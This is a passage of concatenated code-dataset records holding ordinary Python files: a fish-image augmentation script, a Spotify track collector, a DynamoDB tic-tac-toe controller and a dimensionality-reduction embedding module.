np\r\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\r\nimport os\r\nimport random\r\n\r\n#test illness fish Generator\r\ntrain_datagen = ImageDataGenerator(\r\n rescale=1./255,\r\n zoom_range=[0.5, 1.0],\r\n horizontal_flip=True,\r\n width_shift_range=1.0,\r\n height_shift_range=1.0, \r\n brightness_range=[0.2, 1.0]\r\n)\r\n\r\nxy_train = train_datagen.flow_from_directory(\r\n 'C:/data/fish_data/fish_datasets/test',\r\n target_size = (240, 360),\r\n batch_size = 500,\r\n class_mode= 'binary' ,\r\n save_to_dir='C:/data/fish_data/fish_datasets/test_image' #정의해논걸 print로 한번 건드려줘야 작성함(건드려 준 만큼 이미지 생성됨)\r\n)\r\n\r\ngen = int(6) #반복한 만큼 image수 *n 번 생성\r\n \r\nfor i in range(gen) :\r\n print(xy_train[0][1])\r\n\r\n\r\ndef keep_n_dir(directory, n):\r\n files = os.listdir(directory) \r\n if len(files) > n: \r\n diff = len(files) - n\r\n files_to_delete = random.sample(files, k=diff) \r\n for file in files_to_delete: \r\n os.remove(os.path.join(directory, file)) \r\n\r\npath_to_all_images_folder = 'C:/data/fish_data/fish_datasets/x_train/illness'\r\ndirectories = os.listdir(path_to_all_images_folder)\r\ndirectories = [os.path.join(path_to_all_images_folder, folder) for folder in directories]\r\nfor directory in directories:\r\n if os.path.isdir(directory):\r\n keep_n_dir(directory, n)\r\n\r\nkeep_n_dir('C:/data/fish_data/fish_datasets/x_train/illness', 1000)","repo_name":"TaeYeon-kim-ai/tropical_fish_illness_project","sub_path":"02_fish_data_ImageG.py","file_name":"02_fish_data_ImageG.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"21478047513","text":"#!/usr/bin/env python3\n\nimport pandas as pd\nimport numpy as np\nfrom spotify_account import SpotifyAccount\n\nacc = SpotifyAccount()\nsp = acc.spotify\nartist = \"Dance Gavin Dance\"\nartist_uri = \"6guC9FqvlVboSKTI77NG2k\"\n\ndef get_records(artist_uri, album_type, limit=50):\n \"\"\"Get a list of the records (of a specific album_type) for a given artist\n\n Args:\n artist_uri (str): The artist URI \n album_type (str): The type of record to retrieve data for\n limit (int, optional): Limiting the number of items to return. Defaults to 50.\n\n Returns:\n list: A list of dictionaries with record data\n \"\"\"\n return sp.artist_albums(artist_uri, album_type=album_type, limit=limit)[\"items\"]\n\ndef match_record_to_id(record_data):\n \"\"\"Match the record title to its URI\n\n Args:\n record_data (dict): The dictionary with Spotify catalog information about artist's albums\n\n Returns:\n tuple: The pair (album name, album URI)\n \"\"\"\n return (record_data[\"name\"], record_data[\"id\"])\n\n\ndef get_tracks(record_name):\n \"\"\"Get the track names for a specific record\n\n Args:\n record_name (str): The name of the record as seen on Spotify Desktop App. Not robust to spelling or capitalization errors.\n\n Returns:\n list: List of tracks that appear on a specific album as strings\n \"\"\"\n record_id = records_to_ids[record_name]\n results = pd.DataFrame(data=sp.album_tracks(record_id))[\"items\"]\n n_tracks = len(results)\n return [results[i][\"name\"] for i in range(0, n_tracks)]\n\ndef get_track_id(track):\n \"\"\"Get the URI for a single track\n\n Args:\n track (str): The name of the track to lookup as seen on Spotify Desktop App. Not robust to spelling or capitalization errors.\n\n Returns:\n str: The URI identifying a track\n \"\"\"\n results = sp.search(track, type=\"track\")[\"tracks\"][\"items\"][0]\n return results[\"id\"]\n\n#full length albums from Dance Gavin Dance\nfull_albums = get_records(artist_uri, \"album\")\n#singles and EPs from Dance Gavin Dance\nsingles = get_records(artist_uri, \"single\")\n#one list of full length albums, singles, and EPs\nall_records = full_albums+singles\n\n#mapping album names to album id\nrecords_to_ids = {}\nfor d in all_records:\n result = match_record_to_id(d)\n records_to_ids[result[0]] = result[1]\n\ntracks_to_ids = []\nfor album_name, uri in records_to_ids.items():\n tracks = get_tracks(album_name)\n for track in tracks:\n tracks_to_ids.append((track, get_track_id(track)))\n\nntracks = len(tracks_to_ids)\ntracks_df = pd.DataFrame(data={\"Tracks\":[tracks_to_ids[i][0] for i in range(0, ntracks)], \"URI\":[tracks_to_ids[i][1] for i in range(0, ntracks)]})\n\n#write tracklist to file on disk\ntracks_df.to_csv(\"tracklist.csv\")","repo_name":"nurriol2/dgd_lyric_generation","sub_path":"data_processing/data_collection.py","file_name":"data_collection.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"26996725119","text":"import os\nimport random\nimport string\nfrom typing import List\nfrom dotenv import load_dotenv\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, Session\nfrom server.generation.generators.base import Variant\n\nfrom server.models.lab import Lab\nfrom server.models.lab_variant import LabVariant\nfrom server.models.student import Student\n\n\nload_dotenv(dotenv_path=\".env.test\")\n\n# Set up the testing database URL\nTEST_DATABASE_URL = os.getenv(\"SYNC_DATABASE_URL\", \"TESTING_DB\")\n\n# Set up the testing engine and session factory\ntest_engine = create_engine(TEST_DATABASE_URL)\ntest_session_factory = sessionmaker(\n autocommit=False, autoflush=False, bind=test_engine, class_=Session\n)\n\n\ndef generate_random_string(length=6):\n return \"\".join(random.choices(string.ascii_letters + string.digits, k=length))\n\n\ndef assign_variants(\n lab: Lab, variants: List[Variant], students: List[Student], db: Session\n) -> List[LabVariant]:\n assert len(variants) == len(students)\n lab_vars = []\n\n for i, variant in enumerate(variants):\n lab_variant = LabVariant(\n lab_id=lab.id,\n student_id=students[i].id,\n variant_number=i,\n variant_filename=variant.file_name,\n file_key=variant.key,\n tutor_for_check_id=lab.tutor_id,\n )\n db.add(lab_variant)\n db.commit()\n lab_vars.append(lab_variant)\n\n return lab_vars\n","repo_name":"Sugarhl/zxcursed_work","sub_path":"tests/testsuite/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"34"} +{"seq_id":"71984072739","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n\ndef load_protobuf_from_file(container, filename):\n# if not file_io.file_exists(filename):\n# raise IOError(\"File %s does not exist.\" % filename)\n\n # First try to read it as a binary file.\n with open(filename, 'rb') as fin:\n file_content = fin.read()\n\n try:\n container.ParseFromString(file_content)\n print(\"Parse file [%s] with binary format successfully.\" % (filename))\n return container\n except Exception as e: # pylint: disable=broad-except\n print(\"Info: Trying to parse file [%s] with binary format but failed with error [%s].\" % (filename, str(e)))\n\n # Next try to read it as a text file.\n try:\n from google.protobuf import text_format \n text_format.Parse(file_content.decode('UTF-8'), container, allow_unknown_extension=True)\n print(\"Parse file [%s] with text format successfully.\" % (filename))\n except text_format.ParseError as e:\n raise IOError(\"Cannot parse file %s: %s.\" % (filename, str(e)))\n\n return container\n\n\ndef listToStr(data):\n ret = \"\"\n first = True\n for e in data:\n if first == False:\n ret += \", \"\n ret += str(e)\n first = False\n return ret\n\n\n","repo_name":"kitstar/DNNConvert","sub_path":"common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"32278193066","text":"import boto3\nfrom boto3.dynamodb.conditions import Key, Attr\nfrom botocore.exceptions import ClientError\n\n\nfrom datetime import datetime\n\nclass GameController:\n \"\"\"\n This GameController class basically acts as a singleton providing the necessary\n DynamoDB API calls.\n \"\"\"\n def __init__(self, connectionManager):\n self.cm = connectionManager\n self.ResourceNotFound = 'com.amazonaws.dynamodb.v20120810#ResourceNotFoundException'\n\n def createNewGame(self, gameId, creator, invitee):\n \"\"\"\n Using the High-Level API, an Item is created and saved to the table.\n All the primary keys for either the schema or an index (GameId,\n HostId, StatusDate, and OpponentId) as well as extra attributes needed to maintain\n game state are given a value.\n Returns True/False depending on the success of the save.\n \"\"\"\n\n now = str(datetime.now())\n statusDate = \"PENDING_\" + now\n result = True \n try:\n self.cm.getGamesTable().put_item(\n Item = {\n \"GameId\" : gameId,\n \"HostId\" : creator,\n \"StatusDate\" : statusDate,\n \"OUser\" : creator,\n \"Turn\" : invitee,\n \"OpponentId\" : invitee\n })\n except ClientError as ce:\n result = False \n return True\n \n def getGame(self, gameId):\n \"\"\"\n Basic get_item call on the Games Table, where we specify the primary key\n GameId to be the parameter gameId.\n Returns None on an ItemNotFound Exception.\n \"\"\"\n try:\n item = self.cm.getGamesTable().get_item(\n Key={'GameId':gameId})\n except ClientError as ce:\n print(f\"getGame ERROR : {ce}\")\n return None\n\n return item['Item']\n\n def acceptGameInvite(self, game):\n date = str(datetime.now())\n status = \"IN_PROGRESS_\"\n statusDate = status + date\n\n try:\n self.cm.getGamesTable().update_item(\n Key= {\n \"GameId\" : game[\"GameId\"] \n },\n\n UpdateExpression='SET StatusDate = :val',\n ExpressionAttributeValues={\n ':val': statusDate\n },\n ConditionExpression=Attr('StatusDate').begins_with('PENDING_')\n )\n except ClientError as ce:\n return False\n\n return True\n\n def rejectGameInvite(self, game):\n \"\"\"\n Reject the game invite, by deleting the Item from the table.\n Conditional on the fact the game is still in the PENDING status.\n Returns True/False depending on success of delete.\n \"\"\"\n\n try:\n self.cm.getGamesTable().delete_item(\n Key={'GameId': game[\"GameId\"]},\n ConditionExpression=Attr('StatusDate').begins_with('PENDING_')\n )\n except Exception as e:\n return False\n\n return True\n\n def getGameInvites(self,user):\n \"\"\"\n Performs a query on the \"OpponentId-StatusDate-index\" in order to get the\n 10 most recent games you were invited to.\n Returns a list of Game objects.\n \"\"\"\n invites = []\n if user == None:\n return invites\n\n gameInvitesIndex = self.cm.getGamesTable().query(\n KeyConditionExpression = Key('OpponentId').eq(user) & Key('StatusDate').begins_with('PENDING_'),\n IndexName=\"OpponentId-StatusDate-index\",\n Limit=10\n )\n\n for i in range(gameInvitesIndex['Count']):\n try:\n gameInvite = next(iter(gameInvitesIndex['Items']))\n except StopIteration as si:\n break\n except ClientError as ce:\n if ce.body.get(u'__type', None) == self.ResourceNotFound:\n return None\n else:\n raise ce\n\n invites.append(gameInvite)\n\n return invites\n\n def updateBoardAndTurn(self, item, position, current_player):\n \"\"\"\n Using the Low Level API, we execute a conditional write on the Item.\n We are able to specify the particular item by passing in the keys param, in\n this case it's just a GameId.\n In expectations, we expect\n the StatusDate to be IN_PROGRESS_,\n the Turn to be the player who is currently logged in,\n the \"Space\" to not exist as an attribute because it hasn't been written to yet.\n If this succeeds we update the Turn to the next player, as well.\n Returns True/False depending on the success of the these operations.\n \"\"\"\n player_one = item[\"HostId\"]\n player_two = item[\"OpponentId\"]\n gameId = item[\"GameId\"]\n statusDate = item[\"StatusDate\"]\n date = statusDate.split(\"_\")[1]\n\n representation = \"X\"\n if item[\"OUser\"] == current_player:\n representation = \"O\"\n\n if current_player == player_one:\n next_player = player_two\n else:\n next_player = player_one\n\n # LOW LEVEL API\n try:\n self.cm.getGamesTable().update_item(Key={ 'GameId' : gameId },\n UpdateExpression='SET #p = :pos, Turn = :turn',\n ExpressionAttributeValues={\n ':pos': representation,\n ':turn': next_player\n },\n ExpressionAttributeNames={\n \"#p\": position\n },\n ConditionExpression=Attr('StatusDate').begins_with('IN_PROGRESS_') & \n Attr('Turn').eq(current_player) & \n Attr(position).not_exists())\n except ClientError as ce:\n return False\n\n return True\n\n\n def getBoardState(self, item):\n \"\"\"\n Puts the state of the board into a list, putting a blank space for\n spaces that are not occupied.\n \"\"\"\n squares = [\"TopLeft\", \"TopMiddle\", \"TopRight\", \"MiddleLeft\", \"MiddleMiddle\", \"MiddleRight\", \\\n \"BottomLeft\", \"BottomMiddle\", \"BottomRight\"]\n state = []\n for square in squares:\n try:\n value = item[square]\n state.append(value)\n except KeyError as ke:\n state.append(\" \")\n \n return state\n\n def checkForGameResult(self, board, item, current_player):\n \"\"\"\n Check the board to see if you've won,lost tied or in progress.\n Returns \"Win\", \"Loss\", \"Tie\" or None (for in-progress)\n \"\"\"\n yourMarker = \"X\"\n theirMarker = \"O\"\n if current_player == item[\"OUser\"]:\n yourMarker = \"O\"\n theirMakrer = \"X\"\n\n winConditions = [[0,3,6],[0,1,2],[0,4,8],\n [1,4,7],[2,5,8],[2,4,6],\n [3,4,5],[6,7,8]]\n\n for winCondition in winConditions:\n b_zero = board[winCondition[0]]\n b_one = board[winCondition[1]]\n b_two = board[winCondition[2]]\n if b_zero == b_one and \\\n b_one == b_two and \\\n b_two == yourMarker:\n return \"Win\"\n\n if b_zero == b_one and \\\n b_one == b_two and \\\n b_two == theirMarker:\n return \"Lose\"\n\n if self.checkForTie(board):\n return \"Tie\"\n\n return None\n\n def checkForTie(self, board):\n \"\"\"\n Checks the boardState to see if there are any empty spaces which would\n signify that the game hasn't come to a stalemate yet.\n \"\"\"\n for cell in board:\n if cell == \" \":\n return False\n return True\n\n def changeGameToFinishedState(self, item, result, current_user):\n \"\"\"\n This game verifies whether a game has an outcome already and if not\n sets the StatusDate to FINISHED_ and fills the Result attribute\n with the name of the winning player.\n Returns True/False depending on the success of the operation.\n \"\"\"\n\n #Happens if you're visiting a game that already has a winner\n if 'Result' in item:\n return True\n\n date = str(datetime.now())\n status = \"FINISHED\"\n item[\"StatusDate\"] = status + \"_\" + date\n item[\"Turn\"] = \"N/A\"\n\n if result == \"Tie\":\n item[\"Result\"] = result\n elif result == \"Win\":\n item[\"Result\"] = current_user\n else:\n if item[\"HostId\"] == current_user:\n item[\"Result\"] = item[\"OpponentId\"]\n else:\n item[\"Result\"] = item[\"HostId\"]\n\n return self.cm.getGamesTable().put_item(Item=item)\n\n def mergeQueries(self, host, opp, limit=10):\n \"\"\"\n Taking the two iterators of games you've played in (either host or opponent)\n you sort through the elements taking the top 10 recent games into a list.\n Returns a list of Game objects.\n \"\"\"\n games = []\n game_one = None\n game_two = None\n while len(games) <= limit:\n if game_one == None:\n try:\n game_one = next(host)\n except StopIteration as si:\n if game_two != None:\n games.append(game_two)\n\n for rest in opp:\n if len(games) == limit:\n break\n else:\n games.append(rest)\n return games\n\n if game_two == None:\n try:\n game_two = next(opp)\n except StopIteration as si:\n if game_one != None:\n games.append(game_one)\n\n for rest in host:\n if len(games) == limit:\n break\n else:\n games.append(rest)\n return games\n\n if game_one['StatusDate'] > game_two['StatusDate']:\n games.append(game_one)\n game_one = None\n else:\n games.append(game_two)\n game_two = None\n\n return games\n\n def getGamesWithStatus(self, user, status):\n \"\"\"\n Query for all games that a user appears in and have a certain status.\n Sorts/merges the results of the two queries for top 10 most recent games.\n Return a list of Game objects.\n \"\"\"\n\n if user == None:\n return []\n\n hostGamesInProgress = self.cm.getGamesTable().query(\n KeyConditionExpression = Key('HostId').eq(user) & Key('StatusDate').begins_with(status),\n IndexName=\"HostId-StatusDate-index\",\n Limit=10\n )\n\n oppGamesInProgress = self.cm.getGamesTable().query(\n KeyConditionExpression = Key('OpponentId').eq(user) & Key('StatusDate').begins_with(status),\n IndexName=\"OpponentId-StatusDate-index\",\n Limit=10 \n )\n\n games = self.mergeQueries(iter(hostGamesInProgress['Items']), iter(oppGamesInProgress['Items']))\n return games\n","repo_name":"sebsto/tictactoe-dynamodb","sub_path":"dynamodb/gameController.py","file_name":"gameController.py","file_ext":"py","file_size_in_byte":11400,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"34"} +{"seq_id":"32452136579","text":"#!/usr/bin/python\nimport numpy as np\nfrom copy import copy\nfrom matplotlib.mlab import PCA\nfrom sklearn import manifold\nfrom sklearn import decomposition\nfrom collections import defaultdict\n# from scipy.spatial import distance\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom PyQt4.Qt import *\n# explicitly imported \"hidden imports\" for pyinstaller\n#from sklearn.utils import weight_vector, lgamma\nfrom sklearn.metrics.pairwise import euclidean_distances, pairwise_distances\n\n# Dinos solver\nimport cpca.solvers as solvers\nimport cpca.skpca as skpca\nimport cpca.kernel_gen as kernel_gen\nimport cpca.utils as utils\n\ntry:\n from sklearn.utils.sparsetools import _graph_validation\n from sklearn.neighbors import typedefs\nexcept:\n pass\n\n\nclass PopupSlider(QDialog):\n def __init__(self, label_text, default=4, minimum=1, maximum=20):\n QWidget.__init__(self)\n self.slider_value = 1\n\n name_label = QLabel()\n name_label.setText(label_text)\n name_label.setAlignment(Qt.AlignCenter)\n\n self.slider = QSlider(Qt.Horizontal)\n self.slider.setMinimum(minimum)\n self.slider.setMaximum(maximum)\n self.slider.setValue(default)\n\n self.value_label = QLabel()\n self.value_label.setText('%d' % (self.slider.value()))\n self.slider.valueChanged.connect(self.slider_changed)\n\n self.button = QPushButton('Ok', self)\n self.button.clicked.connect(self.handleButton)\n self.button.pressed.connect(self.handleButton)\n\n layout = QGridLayout(self)\n layout.addWidget(name_label , 1, 1, 1, 4, Qt.AlignLeft)\n layout.addWidget(self.slider , 2, 1, 2, 1, Qt.AlignLeft)\n layout.addWidget(self.value_label, 2, 2, 2, 2, Qt.AlignCenter)\n layout.addWidget(self.button , 2, 4, 2, 4, Qt.AlignRight)\n\n self.setWindowTitle('Parameter choice')\n\n\n def slider_changed(self):\n val = self.slider.value()\n self.value_label.setText('%d' %val)\n self.slider_value = val\n \n\n def handleButton(self):\n self.hide()\n\n\n\n\n\n\n\nclass Embedding(object):\n def __init__(self, data, points, parent):\n self.data = data\n self.original_control_points = None\n self.original_control_point_indices = None\n self.control_points = None\n self.control_point_indices = None\n self.parent = parent\n self.X = np.array([])\n self.Y = np.array([])\n self.ml = []\n self.cl = []\n self.has_ml_cl_constraints = False\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n self.name = ''\n self.is_dynamic = False\n self.update_control_points(points)\n\n def get_embedding(self):\n pass\n\n def update_must_and_cannot_link(self, ml, cl):\n self.ml = ml\n self.cl = cl\n if (len(self.ml) > 0) or (len(self.cl) > 0):\n self.has_ml_cl_constraints = True\n else:\n self.has_ml_cl_constraints = False\n\n def augment_control_points(self, e):\n avg_median = np.average(abs(np.median(e, axis=0)))\n tmp_points = defaultdict(list)\n if len(self.cl) > 0:\n for pair in self.cl:\n if len(pair) == 2:\n i, j = list(pair)\n x1 = e[i]\n x2 = e[j]\n diff = x1 - x2\n norm = np.linalg.norm(diff)\n new_x1 = x1 + (diff/norm)*5*avg_median\n new_x2 = x2 - (diff/norm)*5*avg_median\n if i not in self.control_point_indices:\n e[i] = new_x1\n tmp_points[i] = new_x1\n if j not in self.control_point_indices:\n e[j] = new_x2\n tmp_points[j] = new_x2\n if len(self.ml) > 0:\n for pair in self.ml:\n if len(pair) == 2:\n i, j = list(pair)\n x1 = e[i]\n x2 = e[j]\n diff = x1 - x2\n new_x1 = x1 - 0.45*diff\n new_x2 = x2 + 0.45*diff\n if i not in self.control_point_indices:\n e[i] = new_x1\n tmp_points[i] = new_x1\n if j not in self.control_point_indices:\n e[j] = new_x2\n tmp_points[j] = new_x2\n for k,v in tmp_points.items():\n self.control_point_indices.append(k)\n self.control_points.append(v)\n self.X = self.data[self.control_point_indices]\n self.Y = np.array(self.control_points)\n\n def update_control_points(self, points):\n self.control_point_indices = []\n self.control_points = []\n for i, coords in points.items():\n self.control_point_indices.append(i)\n self.control_points.append(coords)\n self.X = self.data[self.control_point_indices]\n self.Y = np.array(self.control_points)\n\n def finished_relocating(self):\n pass\n\n\n\n\n\nclass PCA(Embedding):\n def __init__(self, data, control_points, parent):\n super(PCA, self).__init__(data, control_points, parent)\n self.name = \"PCA\"\n self.projection_matrix = None\n\n try:\n pca = decomposition.PCA(n_components=2)\n pca.fit(data)\n self.projection_matrix = pca.components_\n self.embedding = np.array(pca.transform(data))\n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg) \n \n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\nclass LLE(Embedding):\n def __init__(self, data, control_points, parent):\n super(LLE, self).__init__(data, control_points, parent)\n self.name = \"LLE\"\n try:\n self.w = PopupSlider('Enter number of neighbors to consider (default is 4):')\n self.w.exec_()\n num = int(self.w.slider_value)\n if num == '':\n num = 4\n try:\n lle = manifold.LocallyLinearEmbedding(n_neighbors=int(num), out_dim=2)\n except:\n lle = manifold.LocallyLinearEmbedding(n_neighbors=int(num), n_components=2)\n lle.fit(data)\n self.embedding = np.array(lle.transform(data))\n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg)\n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\n\nclass XY(Embedding):\n def __init__(self, data, control_points, parent):\n super(XY, self).__init__(data, control_points, parent)\n self.name = \"XY\"\n used_attributes = []\n for row in range(self.parent.series_list_model.rowCount()):\n model_index = self.parent.series_list_model.index(row, 0)\n checked = self.parent.series_list_model.data(model_index, Qt.CheckStateRole) == QVariant(Qt.Checked)\n if checked:\n if len(used_attributes) < 2:\n name = str(self.parent.series_list_model.data(model_index).toString())\n used_attributes.append(list(self.parent.data.attribute_names).index(name))\n # print self.parent.data.attribute_names[used_attributes[-1]]\n else:\n break\n\n self.embedding = np.array(self.parent.data.original_data.T[used_attributes].T) \n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\n\n\nclass ISO(Embedding):\n def __init__(self, data, control_points, parent):\n super(ISO, self).__init__(data, control_points, parent)\n self.name = \"ISO\"\n try:\n self.w = PopupSlider('Enter number of neighbors to consider (default is 4):')\n self.w.exec_()\n num = int(self.w.slider_value)\n if num == '':\n num = 4\n try:\n iso = manifold.Isomap(n_neighbors=int(num), out_dim=2)\n except:\n iso = manifold.Isomap(n_neighbors=int(num), n_components=2)\n iso.fit(data)\n self.embedding = np.array(iso.transform(data)) \n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg)\n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\n\n\n\nclass tSNE(Embedding):\n def __init__(self, data, control_points, parent):\n super(tSNE, self).__init__(data, control_points, parent)\n self.name = \"t-SNE\"\n try:\n self.w = PopupSlider('Enter perplexity (default is 30):', default=30, minimum=1, maximum=100)\n self.w.exec_()\n num = int(self.w.slider_value)\n if num == '':\n num = 30\n m, ok = QInputDialog.getText(parent, 'Metric', 'Enter number of the desired metric:\\n1) Euclidean (Default)\\n2) Jaccard\\n3) L1 norm')\n metric = 'euclidean'\n if m == '2':\n metric = 'jaccard'\n elif m == '3':\n metric = 'l1' \n tsne = manifold.TSNE(n_components=2, random_state=0, perplexity=num, metric=metric)\n self.embedding = np.array(tsne.fit_transform(data))\n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg) \n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\n\nclass MDS(Embedding):\n def __init__(self, data, control_points, parent):\n super(MDS, self).__init__(data, control_points, parent)\n self.name = \"MDS\"\n metric, ok = QInputDialog.getText(parent, 'Metric', 'Please select a metric:\\n\\n1) L1\\n2) Euclidean (Default)\\n3) Cosine\\n4) Mahalanobis')\n if metric == '1':\n m = 'l1'\n elif metric == '2':\n m = 'euclidean'\n elif metric == '3':\n m = 'cosine'\n elif metric == '4':\n m = 'mahalanobis'\n else:\n m = 'euclidean'\n parent.setWindowTitle('InVis: ' + parent.data.dataset_name + ' (MDS [%s])'%m)\n dists = pairwise_distances(data, metric=m)\n dists = (dists + dists.T)/2.0\n e, stress = manifold.mds.smacof(dists, n_components=2)\n self.embedding = e\n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n\n\n\nclass ICA(Embedding):\n def __init__(self, data, control_points, parent):\n super(ICA, self).__init__(data, control_points, parent)\n self.name = \"ICA\"\n try:\n ica = decomposition.FastICA(n_components=2)\n ica.fit(data)\n self.embedding = np.array(ica.transform(data)) \n except:\n msg = \"It seems like the embedding algorithm did not converge with the given parameter setting\"\n QMessageBox.about(parent, \"Embedding error\", msg)\n\n\n def get_embedding(self):\n return self.embedding.T\n \n\n def update_control_points(self, points):\n pass\n\n\n \n \n\n\n\nclass LSP(Embedding):\n def __init__(self, data, points, parent):\n super(LSP, self).__init__(data, points, parent)\n self.name = \"LSP\"\n self.is_dynamic = True \n \n\n def get_embedding(self, X=[]):\n if X == []:\n X=self.data.T\n return np.dot(self.projection_matrix, X)\n \n\n def update_control_points(self, points):\n super(LSP, self).update_control_points(points)\n if len(self.Y) > 0:\n self.projection_matrix = np.dot(self.Y.T, np.linalg.pinv(self.X.T))\n else:\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n if self.has_ml_cl_constraints:\n self.augment_control_points(self.get_embedding().T)\n if len(self.Y) > 0:\n self.projection_matrix = np.dot(self.Y.T, np.linalg.pinv(self.X.T))\n else:\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n\n\n \n \n\n\n\nclass cPCA_dummy(Embedding):\n def __init__(self, data, points, parent):\n super(cPCA, self).__init__(data, points, parent)\n self.name = \"cPCA\"\n self.is_dynamic = True \n self.control_point_indices = []\n self.old_control_point_indices = []\n self.finished_relocating()\n \n\n def get_embedding(self):\n if set(self.control_point_indices) != self.old_control_point_indices:\n self.finished_relocating()\n self.old_control_point_indices = set(self.control_point_indices)\n return np.dot(self.projection_matrix, self.data.T)\n\n\n def finished_relocating(self):\n if len(self.Y) > 0:\n self.projection_matrix = np.dot(self.Y.T, np.linalg.pinv(self.X.T))\n else:\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n\n \n \n\n\n\nclass cPCA(Embedding):\n def __init__(self, data, points, parent):\n self.data = data\n self.control_points = []\n self.control_point_indices = []\n self.parent = parent\n self.X = None\n self.Y = np.array([])\n self.projection_matrix = np.zeros((2, len(self.data[0])))\n self.name = ''\n self.is_dynamic = False\n\n self.ml = []\n self.cl = []\n self.has_ml_cl_constraints = False\n\n self.name = \"cPCA\"\n self.projection = np.zeros((2, len(data)))\n self.pca_projection = np.zeros((2, len(data)))\n self.is_dynamic = True \n self.old_control_point_indices = []\n\n self.params = {'r' : 3.0, 'slv_mode' : 'secular', 'sigma' : None, 'epsilon' : 0.5, 'degree' : 1}\n self.params['const_nu'] = 5e+3\n self.params['orth_nu'] = 5e+3\n self.params['sigma'] = utils.median_pairwise_distances(data)\n gk = kernel_gen.gaussian_kernel()\n # gk = kernel_gen.polynomial_kernel()\n K = gk.compute_matrix(data, self.params)\n self.embedder = solvers.embedder(2.56e-16, 800, True)\n self.kernel_sys = self.embedder.kernel_sys(K)\n self.parent.status_text.setText(\"Done, calculating Gaussean kernel.\")\n\n label_mask = np.array([0])\n self.quad_eig_sys = self.embedder.sph_cl_var_term_eig_sys(self.kernel_sys)\n self.quad_eig_sys_original = copy(self.quad_eig_sys)\n if len(self.control_point_indices) == 0:\n placement_mask = np.array([0])\n else:\n placement_mask = np.array(self.control_point_indices)\n self.const_mu = self.embedder.const_nu(self.params, placement_mask, self.kernel_sys)\n self.update_control_points(points)\n self.finished_relocating()\n if len(self.Y) == 0:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, label_mask, np.ones((1,2)), self.kernel_sys, self.params, 1e-20)\n else:\n for i in range(len(self.control_point_indices)):\n self.quad_eig_sys = self.embedder.sph_cp_quad_term_eig_sys(self.kernel_sys, self.quad_eig_sys, self.control_point_indices[i], self.const_mu)\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n\n\n def get_embedding(self, X=None):\n if set(self.control_point_indices) != self.old_control_point_indices:\n self.pca_projection = self.finished_relocating()\n self.old_control_point_indices = set(self.control_point_indices)\n return self.pca_projection.T\n\n\n def finished_relocating(self):\n if len(self.control_point_indices) > 0:\n directions = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(directions)\n return self.pca_projection\n\n\n def update_control_points(self, points):\n super(cPCA, self).update_control_points(points)\n if len(self.control_point_indices) > len(self.old_control_point_indices):\n selected_point = self.parent.selected_point\n if selected_point == None:\n selected_point = (list(set(self.control_point_indices) - set(self.old_control_point_indices)))[0]\n self.quad_eig_sys = self.embedder.sph_cp_quad_term_eig_sys(self.kernel_sys, self.quad_eig_sys, selected_point, self.const_mu)\n directions = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(directions)\n elif len(self.control_point_indices) < len(self.old_control_point_indices):\n self.quad_eig_sys = copy(self.quad_eig_sys_original)\n for i in range(len(self.control_point_indices)):\n self.quad_eig_sys = self.embedder.sph_cp_quad_term_eig_sys(self.kernel_sys, self.quad_eig_sys, self.control_point_indices[i], self.const_mu)\n if len(self.control_point_indices) == 0:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, np.array([0]), np.ones((1,2)), self.kernel_sys, self.params, 1e-20)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n else:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n self.old_control_point_indices = set(self.control_point_indices)\n\n if self.has_ml_cl_constraints:\n self.augment_control_points(self.get_embedding().T)\n self.quad_eig_sys = 